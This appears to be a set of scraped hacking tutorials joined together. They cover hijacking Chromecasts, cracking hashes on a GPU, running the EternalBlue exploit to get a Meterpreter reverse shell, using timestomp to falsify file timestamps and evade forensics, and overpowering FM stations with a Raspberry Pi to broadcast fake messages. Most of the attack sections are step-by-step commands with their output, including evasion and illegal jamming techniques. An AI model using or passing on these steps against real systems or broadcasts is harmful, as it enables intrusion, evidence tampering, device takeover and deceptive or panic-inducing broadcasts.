spend less time specifying different Chromecast devices, you can also set up aliases and add a configuration file. You can create a configuration file by creating a "catt.cfg" file at the following location.~# nano ~/.config/catt/catt.cfgYou can add devices to the configuration in the following format. Under "options," you can add the default device you wish to use if you don't specify a device otherwise when running Catt. Under "aliases," you can make nicknames for the devices you want to use so that you can use that name for them when running the script.[options] device = chromecast_one [aliases] one = chromecast_one two = chromecast_twoTypeControl-X, thenY, andEnterto save and close.Step 6: Cast a Website to the ScreenLastly, we can cast any website directly to the screen. The Chromecast will grab sites with a resolution of 1280 x 720 pixels and display them on the screen. While this is useful for casting existing websites, we can also use it to design our own content, put it in a web interface, and then just cast that to the screen!Don't Miss:Detect When a Device Is Nearby with the ESP8266 Friend DetectorSometimes we might want to create something fake and splash it on the screen, and by putting up a web URL, we can even host a web server on our own laptop and cast whatever we choose to display on it directly to the interface.The command to do so, with our example being the Null Byte homepage, is as follows:~# catt cast_site https://null-byte.wonderhowto.com Casting https://null-byte.wonderhowto.com on "Probe Team CIC"...CATT Can Make Almost Anything Appear on the ScreenThis tool is useful for a hacker looking to control Chromecast devices they don't own, but it's beneficial to anyone who does own a Chromecast as well. Thanks to the simplicity of managing Chromecast devices over Wi-Fi, you can set custom triggers to cause actions on any displays you want using CATT.While the techniques we covered today were focused on local networks, this will also work against any Chromecast device that's exposed directly to the internet as well. This was demonstrated when hackers found Chromecast devices on Shodan andmade them play videos promoting PewDiePie. You should never do this, so if you've set up port forwarding to allow direct access to Internet of Things devices like a printer, camera, or media player, you can expect a message from a hacker telling you to subscribe to PewDiePie.I hope you enjoyed this guide to finding and taking over Chromecast devices! If you have any questions about this tutorial on taking over IoT devices or if you have a comment, feel free to ask it below or reach out to me on Twitter@KodyKinzie.Don't Miss:How to Hack Together a YouTube Playing Botnet Using ChromecastsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byTAKA@P.P.R.S/FlickrRelatedRickroll Warning:This Exploit Can Hijack Any Nearby ChromecastHow To:Personalize Your TV Experience with Chromecast's New Backdrop FeatureNews:Chromecast App Gets a Huge Update—Here's All the Cool New FeaturesHow To:Send Just About Anything from Your Phone to Your TV via ChromecastHow To:Find the Latest & Greatest Chromecast AppsHow To:Take Your Party to a New Level with These Chromecast AppsHow To:Mirror Your Nexus 5's Display on Your TV Using ChromecastVLC 101:How to Cast Any Video to Your TV NativelyHow To:Use Your Chromecast to Make PowerPoint Presentations from Your AndroidHow To:Set Chromecast Background Images as Your Android's WallpaperHow To:Hack Together a YouTube Playing Botnet Using ChromecastsHow To:Change Your Android TV's ScreensaverHow To:Stream Personal Movies, Music, & Photos to Chromecast from Any Android DeviceHow To:Cast Amazon Instant Video to Your HDTVHow To:Watch the 2014 World Cup Online & on Your Phone—Every Match Streamed LiveNews:Set Rotating Wallpapers of Flickr Images, Instagrams, Tumblr Pics, & More for Your Android DeviceHow To:Add Widgets to Your Chromecast's Home ScreenHow To:Cast Videos Directly from Your Mobile Browser to Your ChromecastIt's Begun:Chromecast All Your Movie, Music, & Picture Files with AllCastHow To:Root Your ChromecastHow To:Enable the Chromecast Screen Mirroring FeatureHow To:Stream Rdio & Spotify to Chromecast as Music VideosYouTube 101:How to Cast Videos to Your TVHow To:Test Your Chromecast's Network ConnectionNews:Chromecast Screen Mirroring Support for Android Devices on the WayNews:Google Releases Chromecast Development Kit—Get Ready to Cast Anything & EverythingHow To:The Easiest Way to Cast from ChromeHow To:Stop Handing Out Your Wi-Fi Password by Enabling "Guest Mode" on Your ChromecastHow To:Unblock American Hulu, Netflix, & More on Chromecast in Other CountriesNews:Get a Free $6 Google Play Credit for Every Chromecast You OwnNews:Chromecast's First Real Competitor Gets LeakedNews:7 New Games Just Released for ChromecastHow To:Here's How to Get Amazon's Chromecast Competitor for Only $20How To:Turn Your Chromecast into a Portable Gaming ConsoleDeal Alert:Use Android Pay to Get a Free Chromecast & MusicNews:Interactive 360-Degree Videos Are Now Live on YouTubeHow To:Cast Web Videos from iPad or iPhone to ChromecastHow To:Stream Your Personal Movie Collection to Your Amazon Fire TVHow To:Stream Any Video from Your Android or iOS Device to ChromecastDeal Alert:Spotify's Giving Away Free Chromecasts
How to GPU Accelerate Cracking Passwords with Hashcat « Null Byte :: WonderHowTo
How to Crack Passwords Faster by Putting Your GPU to Work with HashcatSecurity on the internet isalwayschanging. Not too long ago, having a 10 character password meant that you were safe from all forms of hash cracking. Hash cracking is when you take a string of characters that have been passed through a cryptographic hash and try to reverse them. The normal processors that are housed inside of our computer cases aregeneral purpose. The processors are not meant for handling complex math and numbers very well, which results in weak hardware when it comes to reversing a complex hash.With changes in drivers over the past couple of years, it is now possible to crack hashes using your graphics processor, which is far better at math (think of all of the polygons per second your computer has to generate to run a game, that's some serious math!). This means that we all need to increase the length of our passwords for everything if we have not already. This opens up a lot more doors for crackers. Where passwords may have normally been unfeasible to crack, now they can take only a few short hours.RequirementsHashcatinstalledGPU hardware capable of OpenCL or CUDALinux or Windows OSStep1Create a Hash to CrackFor example, let's make a small length MD5 hash to crack via Mircale Salad's MD5 hash generator.Make a hash of the word "doggy".Paste the hash in a notepad, or make sure you do not delete it from your clipboard. We will need it later.Step2Crack HashFollow along with me in this vTutorial as test cracking using my GPU first with bruteforce. After, I demonstrate the performance boost of just one GPU (Hashcat allows up to 16 GPUs).Please enable JavaScript to watch this video.Fullscreen me!Want to see how fast two GPUs work on bruteforce?Please enable JavaScript to watch this video.Fullscreen me!Devastating. If anyone ever needs any hashes cracked, I'm offering this as a service to community members ofNull Byteonly.Don't make my Hashcat angry, or he'll crack your passwords!Follow and Chat with Null Byte!TwitterGoogle+IRC chatWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)News:'Beast' Cracks Billions of Passwords in SecondsHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Use Hash-Identifier to Determine Hash Types for Password CrackingLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHacking macOS:How to Hack a Mac Password Without Changing ItHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Brute-Force WPA/WPA2 via GPUHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHow To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)How To:Hack WPA/WPA2-Enterprise Part 2How To:Create Custom Wordlists for Password Cracking Using the MentalistAdvice from a Real Hacker:How to Create Stronger PasswordsHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)News:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingRainbow Tables:How to Create & Use Them to Crack PasswordsMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Recover WinRAR and Zip PasswordsHow To:Mine Bitcoin and Make Money
How to Use Metasploit's Timestomp to Modify File Attributes & Avoid Detection « Null Byte :: WonderHowTo
It is said that the best way toavoid detectionwhen hacking is to leave no trace, and often that means not touching thefilesystemat all. But realistically, in most cases, it's impossible not to interact with the filesystem in one way or another. The next best thing to do to throw off any investigators is to change the file attributes to hide activity. We can do this withMetasploit'sTimestomp.What Are MACE Values?MACE (modified, accessed, created, entry) values are file attributes that describe the dates and times of activity on a file. These attributes are used byadministratorsto determine when a file was last accessed or changed, and they can often be used to trace malicious activity.Don't Miss:Perform a Pass-the-Hash Attack & Get System Access on WindowsThe best course of action when hacking is to leave no trace behind at all, but modifying MACE attributes might be the next best thing. This method is not infallible, but it can helpobscure your activityon the filesystem.Common sense must be utilized, though, as dates far in the past (or future) can be a dead giveaway of hacking activity. Changing all four attributes to the same date and time is also a giveaway since this would be impossible.Step 1: Set Up EverythingWe will be using a copy ofWindows 7as our mark, andKali Linuxas our attacking machine. The first thing we need to do is create some sample files on the target. I also created a new folder named "MyFiles" to keep them in to stay organized. It doesn't matter what these are — some basictext fileswill be more than enough.On Amazon:'Metasploit for Beginners: Create a threat-free environment with the best-in-class tool'Step 2: Get a Meterpreter SessionNow that we are all set on that end, fire upMetasploiton our attacking machine by typingmsfconsolein theterminal.~# msfconsole msf5 >This target is vulnerable toEternalBlue, so I will use that to get a shell. It doesn't matter what you use, though, as long as you end up with aMeterpretersession on the target.msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 10.10.0.1:1234 [*] 10.10.0.104:445 - Connecting to target for exploitation. [+] 10.10.0.104:445 - Connection established for exploitation. [+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes) [*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.0.104:445 - Sending all but last fragment of exploit packet [*] 10.10.0.104:445 - Starting non-paged pool grooming [+] 10.10.0.104:445 - Sending SMBv2 buffers [+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.0.104:445 - Sending final SMBv2 buffers. [*] 10.10.0.104:445 - Sending last fragment of exploit packet! [*] 10.10.0.104:445 - Receiving response from exploit packet [+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.0.104:445 - Sending egg to corrupted connection. [*] 10.10.0.104:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 10.10.0.104 [*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500 [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter >Step 3: Verify the Files on the TargetNow that we have compromised the target, issue thepwdcommand to view the current working directory.meterpreter > pwd C:\Windows\system32Since we created a new folder on theC drive, we can navigate there and confirm the files we created earlier exist.meterpreter > cd C:/Myfiles meterpreter > ls Listing: C:\Myfiles =================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 12 fil 2019-04-08 12:43:24 -0500 example.txt 100666/rw-rw-rw- 7 fil 2019-04-08 12:43:55 -0500 test1.txt 100666/rw-rw-rw- 13 fil 2019-04-08 12:43:55 -0500 test2.txt 100666/rw-rw-rw- 127 fil 2019-04-08 12:43:55 -0500 test3.txtStep 4: Change File Attributes with TimestompTimestomp is apost-exploitationmodule available in Meterpreter that can be used to modify the MACE values of files. It is useful because we can change the times and dates of any files we access, minimizing the risk of being caught.In a Meterpreter session, usetimestomp helpto display the help menu for this module:meterpreter > timestomp help Usage: timestomp <file(s)> OPTIONS OPTIONS: -a <opt> Set the "last accessed" time of the file -b Set the MACE timestamps so that EnCase shows blanks -c <opt> Set the "creation" time of the file -e <opt> Set the "mft entry modified" time of the file -f <opt> Set the MACE of attributes equal to the supplied file -h Help banner -m <opt> Set the "last written" time of the file -r Set the MACE timestamps recursively on a directory -v Display the UTC MACE values of the file -z <opt> Set all four attributes (MACE) of the file1. View MACE Values for a FileProvide the file and the desired option to perform an action. For example, to view the MACE values of a file, use the-vflag.meterpreter > timestomp example.txt -v [*] Showing MACE attributes for example.txt Modified : 2019-04-08 13:44:25 -0500 Accessed : 2019-04-08 13:43:24 -0500 Created : 2019-04-08 13:43:24 -0500 Entry Modified: 2019-04-08 13:44:25 -05002. Change Modified, Accessed, Created & Entry Modified ValuesWe can change any of these attributes by using the appropriate option and a valid DateTime format. To change the "modified" value, use the-mflag.meterpreter > timestomp example.txt -m "02/14/2012 08:10:03" [*] Setting specific MACE attributes on example.txtNow when we view the file attributes, we can see that this has changed.meterpreter > timestomp example.txt -v [*] Showing MACE attributes for example.txt Modified : 2012-02-14 08:10:03 -0600 Accessed : 2019-04-08 13:43:24 -0500 Created : 2019-04-08 13:43:24 -0500 Entry Modified: 2019-04-08 13:44:25 -0500We can do this for the "accessed" value as well using the-aflag.meterpreter > timestomp example.txt -a "02/14/2012 08:10:03" [*] Setting specific MACE attributes on example.txtAnd the "created" value with the-cflag.meterpreter > timestomp example.txt -c "03/11/1999 10:05:01" [*] Setting specific MACE attributes on example.txtAnd finally, the "entry modified" value using the-eflag.meterpreter > timestomp example.txt -e "04/25/2018 11:11:08" [*] Setting specific MACE attributes on example.txtNow when we view the file, we can see all these changes have gone into effect.meterpreter > timestomp example.txt -v [*] Showing MACE attributes for example.txt Modified : 2012-02-14 08:10:03 -0600 Accessed : 2012-02-14 08:10:03 -0600 Created : 1999-03-11 10:05:01 -0600 Entry Modified: 2018-04-25 12:11:08 -05003. Change All Values at the Same TimeWe can also change these attributes all at once if we wanted the values all to be the same — use the-zflag to do so.meterpreter > timestomp example.txt -z "10/15/2017 05:30:22" [*] Setting specific MACE attributes on example.txtAnd now they all have changed again.meterpreter > timestomp example.txt -v [*] Showing MACE attributes for example.txt Modified : 2017-10-15 06:30:22 -0500 Accessed : 2017-10-15 06:30:22 -0500 Created : 2017-10-15 06:30:22 -0500 Entry Modified: 2017-10-15 06:30:22 -05004. Match Values with Another FileThere is also an interesting option to set the MACE attributes equivalent to an existing file on the system by using the-fflag, but I couldn't get this to work.meterpreter > timestomp example.txt -f C:\\Windows\\notepad.exe [*] Pulling MACE attributes from C:\Windows\notepad.exe [-] priv_fs_get_file_mace: Operation failed: The handle is invalid.5. Remove All ValuesWe can totally blank the file attributes, too, using the-bflag.meterpreter > timestomp example.txt -b [*] Blanking file MACE attributes on example.txtNow when we view the file, it shows the nonsensical values as dates in the future, which is obviously impossible.meterpreter > timestomp example.txt -v [*] Showing MACE attributes for example.txt Modified : 2106-02-07 00:28:15 -0600 Accessed : 2106-02-07 00:28:15 -0600 Created : 2106-02-07 00:28:15 -0600 Entry Modified: 2106-02-07 00:28:15 -0600We can also blank all files recursively in the current directory with the-rflag.meterpreter > timestomp ./ -r [*] Blanking directory MACE attributes on ./When we look at the files on the target now, the dates show up as blank.Wrapping UpToday, we learned a little about MACE values of files and how they pertain toforensics. After we initially compromised our target and gained a Meterpreter session, we explored Timestomp and how it can be used to modify MACE attributes to avoid detection. However, take this with a grain of salt — modifying file attributes is better than nothing when trying to remain hidden, but it is not perfect. Stay frosty, white hats.Don't Miss:Discover Open Ports Using Metasploit's Built-in Port ScannerWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byFree-Photos/Pixabay; Screenshots by drd_/Null ByteRelatedHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Add LED lights to avoid speed detection while drivingHack Like a Pro:How to Evade AV Software with ShellterHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)News:How-to Design Amazing Web Pages Using Basic HTMLHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHow to Hack Like a Pro:Getting Started with MetasploitHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 19 (Linking Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)How To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow To:Embed a Metasploit Payload in an Original .Apk File | Part 2 – Do It ManuallyHow To:Creating a (Almost) Fully Undetectable EXE Using Kali & GCCHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHow To:Exploit Remote File Inclusion to Get a ShellHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)IPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Joseph Kony hunt is proving difficult for U.S. troopsHow To:Get the 'Standing Stones' Achievement in The Elder Scrolls V: SkyrimGoodnight Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Amazing 3D Object DetectionNinja Saga Tutorial:User Interface MapsDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker Training
How to Hack Radio Frequencies: Hijacking FM Radio with a Raspberry Pi & Wire « Null Byte :: WonderHowTo
Inour first part on software-defined radio and signals intelligence, we learned how to set up a radio listening station to find and decode hidden radio signals — just like the hackers who triggered the emergency siren system in Dallas, Texas, probably did. Now that we can hear in the radio spectrum, it's time to explore the possibilities of broadcasting in a radio-connected world.So how did the hackers in Dallas broadcast the code they found to control the sirens and why? Was it a distraction to divert attention from their real goal, a test of a foreign government probing American infrastructure, or were they engaging in the time-honored American pastime of being annoying?Previous:Build a Radio Listener to Decode Digital Audio & Police DispatchesWhatever their goal, the attack was done by rebroadcasting a series of codes in the emergency band around 900 MHz to trigger a series of repeaters to scare the crap out of some Texans. Did they need thousands of dollars of sophisticated equipment to do so? Likely not. In fact, we can take over some radio systems without knowing any codes at all just by being closer to our target.This tutorial will show you a technique to use this effect to hack civilian FM radio bands and play your social engineering payload. Maybe you don't like the music a radio station in a particular business or vehicle is playing and you'd like to play your own. Maybe you'd like to play a message to get your target to do something you want them to. Whatever the goal, all you need to rebroadcast signals in the radio spectrum is a $35 Raspberry Pi and a piece of wire for an antenna.The Pi as a Software-Defined Radio Transmitter for HackingThe Raspberry Pi, with the addition of some free software, is capable of pulsing power on one of its general purpose input-output (GPIO) pins to transmit on any civilian FM radio frequency from around 87.5 MHz to 108 MHz. Without a wire, the range is only a foot or two. We'll focus on using this ability to insert our messages into the most common type of radio signals everyone has access to. FM radios exist in almost every car and in many businesses and homes. The ability to broadcast directly to them gives us a powerful way of speaking to someone anonymously, seemingly from a trusted source.Hobbyists have embraced the Pi FM radio hack by adding a wire as an antenna for streaming music, short-range communications, and even as an FM modem for exchanging information between devices. Applications likerpitxcan even transmit slow-scan TV images via FM. This hack is fun and useful for creating a signal with an intentionally limited range, and through some testing, I've found the signal is just powerful enough to overpower FM stations at close range.A do-it-yourself Raspberry Pi pirate radio.Image by SADMIN/Null ByteOverpowering a station, also known as "broadcast signal intrusion," has the effect of hijacking the signal and allowing you to insert messages, songs, programming, or other seemingly legitimate information or news to supportsocial engineering strategies. Signal hijacking on the Pi is particularly useful against businesses playing FM radio or vehicle radio systems and can help you to influence a target's beliefs or actions by posing as a media outlet.Why a Raspberry Pi Works Well for ThisThe fact that you can get started broadcasting in the radio spectrum with only a wire is incredibly useful to anyone interested in radio projects or software defined radio, but how does it work?The Pi's GPIO pins allow it to connect to peripherals, but in this case, pin number 4 can be pulsed using the Pi's clock to square wave oscillator. While this works, there are a number of issues that must be considered as a result of the way the Pi creates the transmission. These issues mean increasing the power also increases the likelihood of causing chaos in the radio frequency and getting caught by the FCC, which means this tool is for surgical strikes only without using additional filters.All that is needed for this attack is a Raspberry Pi 3 and a wire.Image by SADMIN/Null ByteThe biggest issue in using a Pi is the square wave oscillator used to generate the signal, which generates harmonics that can interfere with frequencies beyond those you're intending to broadcast on. In fact, these harmonics can go pretty far out of band into restricted frequencies, meaning boosting the power on a Pi FM transmitter without applying a filter will interfere with all kinds of radio signals around you.The History of Broadcast Signal IntrusionsA broadcast signal intrusion is the hijacking of a radio or TV signal to play another message over the official programming, and it is relatively simple to pull off against radio stations.While more advanced techniques involve splicing the message into the broadcast by breaking into the receiver site, all that is really needed is an FM transmitter capable of power powering the legitimate broadcasting signal to the target antenna. If your target is just one antenna, the Raspberry Pi can easily accomplish a surgical application of a broadcast intrusion.Historically, broadcast signal instructions have been employed by hackers wanting to get their message out to the public, although few, if any, attempted to hide the fact that the station had been hijacked. Motives range from political protests to trolling and jamming of the Playboy Network for religious reasons. While most hackers perpetrating large-scale broadcast intrusions were caught, one of the most notorious and strangest incidents remains unsolved.Perhaps the best-documented incident of intentional signal intrusion was the Max Headroom incident in Chicago. In 1987, the WGN and WTTW TV stations were hijacked during an episode ofDr. Whoto play a slow-scan message featuring a man in a Max Headroom mask rambling and screaming, calling the radio station operators "nerds," and eventually being spanked by a woman in a French maid outfit with a flyswatter.The clip ran for nearly 90 seconds and only got more confusing as engineers were helpless to regain control, making national news and leading to FBI involvement in the case. Despite the attention, no one is sure who the Max Headroom hacker was or what the purpose of his bizarre and brazen takeover of WGN was supposed to accomplish beyond trolling tens of thousands of people.It's believed this hack was accomplished without physical access to the stations and instead used sophisticated radio transmitters to overpower the legitimate signal that was repeated to a larger broadcasting antenna. If you're a fan of theMr. Robotseries,#fsociety used this hack many timesto get their video communications on the airwaves of major TV networks.Don't Miss:Learn the Hacks from Mr. Robot Here on Null ByteSurgical Signal Intrusions for Social EngineeringBy overpowering the legitimate signal with ours, we are presented with two options: perform a denial of service attack or attempt to impersonate legitimate traffic on the channel. Both of these options, by the way, are illegal in most countries due to the fact that we are jamming a legitimate radio broadcast.In a DOS attack, we can flood an FM radio channel used for communication with a signal that prevents the legitimate transmission from being heard and makes no attempt to pretend to be the real transmission. In the second attack, we craft a message designed to be perceived as legitimate and insert it into programming to provoke a response. This can be as simple as a report of heavy traffic on a certain freeway requiring a different route, or as elaborate as playing a SIGALERT emergency alert describing the subject's car as the vehicle of a manhunt suspect.Nuclear missiles coming from North Korea?!Because of the trust placed in the media and the surreptitious nature of the hijacking, a subject is unlikely to know the signal has been hijacked unless the beginning or end of the transmission switch seems out of place.Step 1: Hardware & Software RequirementsTo begin broadcasting, we don't need much. A Raspberry Pi 2 or 3 will both work, and the wire can be sourced from cords or whatever you have around. I used both stranded and solid core copper wire and both worked fine, although solid core was better.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliHere's all the hardware and software that you'll need for this guide:a piece of wire around 3 feet long for an antennaa fully updated Raspberry Pi 2/3knowledge of which frequency you're trying to jam (ora $20 RTL-SDR dongleto find it yourself)a source .wav filemake and libsndfile1-devPiFmRdsfrom GitHubTo start, let's take care of the software requirements by runningapt-get updateandapt-get install upgrade. Once our version of Kali is updated and upgraded, we can install dependencies by running the following in a terminal window.apt-get install make libsndfile1-devStep 2: Download & Configure PiFmRdsConnect your Pi to an HDMI display or SSH into it from your laptop. To clone PiFmRds, type the following four lines into a terminal window. Remember to runmake cleanas versions for different Raspberry Pis are not compatible with each other.git clone https://github.com/ChristopheJacquet/PiFmRds.git cd PiFmRds/src make clean make gcc -Wall -std=gnu99 -c -g -03 -march+armv7-a -mtune+arm1176jzf-s -mfloat-ab1=hard -mfpu=vfp -ffast-math -DRASPI=2 rds.c gcc -Wall -std=gnu99 -c -g -03 -march+armv7-a -mtune+arm1176jzf-s -mfloat-ab1=hard -mfpu=vfp -ffast-math -DRASPI=2 waveforms.c gcc -Wall -std=gnu99 -c -g -03 -march+armv7-a -mtune+arm1176jzf-s -mfloat-ab1=hard -mfpu=vfp -ffast-math -DRASPI=2 pi_fm_rds.c gcc -Wall -std=gnu99 -c -g -03 -march+armv7-a -mtune+arm1176jzf-s -mfloat-ab1=hard -mfpu=vfp -ffast-math -DRASPI=2 fm_mpx.c gcc -Wall -std=gnu99 -c -g -03 -march+armv7-a -mtune+arm1176jzf-s -mfloat-ab1=hard -mfpu=vfp -ffast-math -DRASPI=2 control_pipe.c gcc -Wall -std=gnu99 -c -g -03 -march+armv7-a -mtune+arm1176jzf-s -mfloat-ab1=hard -mfpu=vfp -ffast-math -DRASPI=2 mailbox.c gcc -o pi_fm_rds rds.o waveforms.o mailbox.o pi_fm_rds.o gm_mpx.o control_pipe.o -lm -lsndfileStep 3: Test Your First TransmissionThat should be it! After navigating to thePiFmRds/srcfolder, you should be able to test PiFmRds by running:sudo ./pi_fm_rds -freq 107.0 -audio sound.wavThis will start a test radio transmission on the frequency 100.1. Since we haven't yet attached our wire antenna, we can't expect it to transmit anything, right?Turns out, even just the GPIO pin is capable of short range transmission. Here, I can see a test broadcast from several feet away even without attaching an antenna.Still able to receive from a few feet away even without an antenna.Image by SADMIN/Null ByteYou should use the GPIO pin to test your messages whenever possible to avoid interfering with other frequencies unnecessarily. While good for testing, the pin alone cannot overpower a station. Once you've confirmed you're transmitting, let's try hijacking a signal.Step 4: Add an Antenna to Enable Signal HijackingNow that we know we're transmitting, let's up the power. Attach a piece of wire (solid gauge or stranded will do) to the 4th GPIO pin (see diagram to figure out which that is).Image viaRaspberry Pi FoundationYou can use the insulation around the wire to keep it snug on the pin if you work the pin between the insulation and the copper inside the wire. Here is how I attached some solid core wire:While the wire touched a few pins, pin 4 has been pushed between the insulation and the solid core copper wire.Image by SADMIN/Null ByteWith this setup, the range is dramatically improved. I can receive the radio transmission all over the building, including on floors above and below me.The signal is significantly boosted when an antenna is added.Image by SADMIN/Null ByteStep 5: Load a WAV File & Overpower an FM SignalNow that we've boosted the power, we can expect to be able to hijack any radio station when we're within about twenty to thirty feet of the transmitter. Identify the station you want to hijack and note the frequency in megahertz. For this example, we will assume the station we are transmitting against is 107.9 MHz.On your Pi with the antenna attached, run the following in terminal to target and hijack 107.9 and play the audio fileaudio.wav.sudo ./pi_fm_rds -freq 107.9 -audio audio.wavYou should hear the audio demo break into the legitimate transmission.Hijacking 107.9 at nearly 40 feet away (end of range).Image by SADMIN/Null BytePut any WAV file in thePiFmRds/srcfolder and change the name in the command above to play your own custom message.Final WarningWhile the methods described are extremely easy and effective, intentionally jamming a legitimate broadcast is illegal in the US, and most likely elsewhere. While the likelihood of being detected doing so on a small scale is low, increasing the power or operating in out-of-band frequencies can get you in trouble and interfere with military, police, and first responder radio signals.The range of this device is short, and by experimenting with a radio to gauge the range, you can vary the length of wire to adjust the range. In addition, playing messages that could alarm or frighten people deliberately is a great way to get in trouble as well. While funny, my inbound North Korean nuclear missile example (in the video above) could cause panic, thus is best used in a lab setting only.Use common sense when deciding on the message you want to transmit and keep in mind it is likely the subject will really believe it.As always, thanks for reading, and make sure to keep an eye on Null Byte for more hacking tutorials. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:How to Load & Use Keystroke Injection Payloads on the USB Rubber DuckyFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by SADMIN/Null ByteRelatedHow to Hack Radio Frequencies:Building a Radio Listening Station to Decode Digital Audio & Police DispatchesHow To:Listen to Radio Conversations on Android with an RTL-SDR Dongle & OTG AdapterHow To:Get Live FM Radio on Your Galaxy S8 or S8+How To:Listen to FM Radio on a Google Android SmartphoneHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Play & Record Thousands of Worldwide Radio Stations on AndroidHow To:Use the FM transmitter on the Nokia N900The Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Build Your Own Internet Radio Player, AKA Pandora's BoxOpen 